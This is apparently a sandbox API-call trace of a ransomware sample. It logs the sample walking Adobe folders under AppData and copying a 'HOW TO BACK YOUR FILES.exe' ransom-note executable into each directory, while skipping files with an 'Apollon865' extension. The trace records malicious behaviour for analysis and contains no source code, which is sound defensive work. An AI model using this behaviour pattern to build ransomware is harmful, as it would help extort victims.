	[0043.704] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\dictionaries\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.709] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x321f5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x321f5f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.709] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.709] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.709] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights"
	[0043.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0043.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned 62
	[0043.709] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights"
	[0043.709] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.709] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\headlights\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x321f5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x321f5f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.716] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.716] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.716] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player"
	[0043.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0043.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned 64
	[0043.716] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player"
	[0043.716] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.716] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.720] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3221c0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.720] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.721] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.721] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="AssetCache" | out: lpString1="AssetCache") returned="AssetCache"
	[0043.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599450
	[0043.721] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3221c0b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.721] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.721] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3221c0b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.721] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.721] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0043.721] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache"
	[0043.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.721] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 75
	[0043.721] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache"
	[0043.721] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.721] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.733] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3221c0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.733] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.734] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.734] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="D5NTRC6R" | out: lpString1="D5NTRC6R") returned="D5NTRC6R"
	[0043.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599450
	[0043.734] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.734] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3221c0b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.734] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.734] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3221c0b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3221c0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.734] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.734] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0043.734] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R"
	[0043.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.734] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.734] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned 84
	[0043.734] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R"
	[0043.734] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.734] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\d5ntrc6r\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.741] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d40bff0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x32242210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32242210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.741] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.741] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.742] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat"
	[0043.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0043.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0043.742] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned 59
	[0043.742] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat"
	[0043.742] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.742] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.747] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32242210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32242210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.747] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.747] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.747] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0043.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0043.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0043.747] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0043.747] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32242210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32242210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.747] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.747] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32242210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32242210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.747] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.748] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0043.748] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0"
	[0043.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0043.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0043.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned 64
	[0043.748] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0"
	[0043.748] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.748] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.755] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.755] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32268370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32268370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.755] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.755] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.755] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Collab" | out: lpString1="Collab") returned="Collab"
	[0043.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0043.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0043.755] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0043.755] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1
	[0043.755] lstrcmpiW (lpString1="Forms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.755] lstrcmpiW (lpString1="Forms", lpString2="Apollon865.txt.exe") returned 1
	[0043.755] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Forms" | out: lpString1="Forms") returned="Forms"
	[0043.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0043.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x5994e8
	[0043.755] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0043.755] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32268370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32268370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.755] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.755] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1
	[0043.755] lstrcmpiW (lpString1="JavaScripts", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.755] lstrcmpiW (lpString1="JavaScripts", lpString2="Apollon865.txt.exe") returned 1
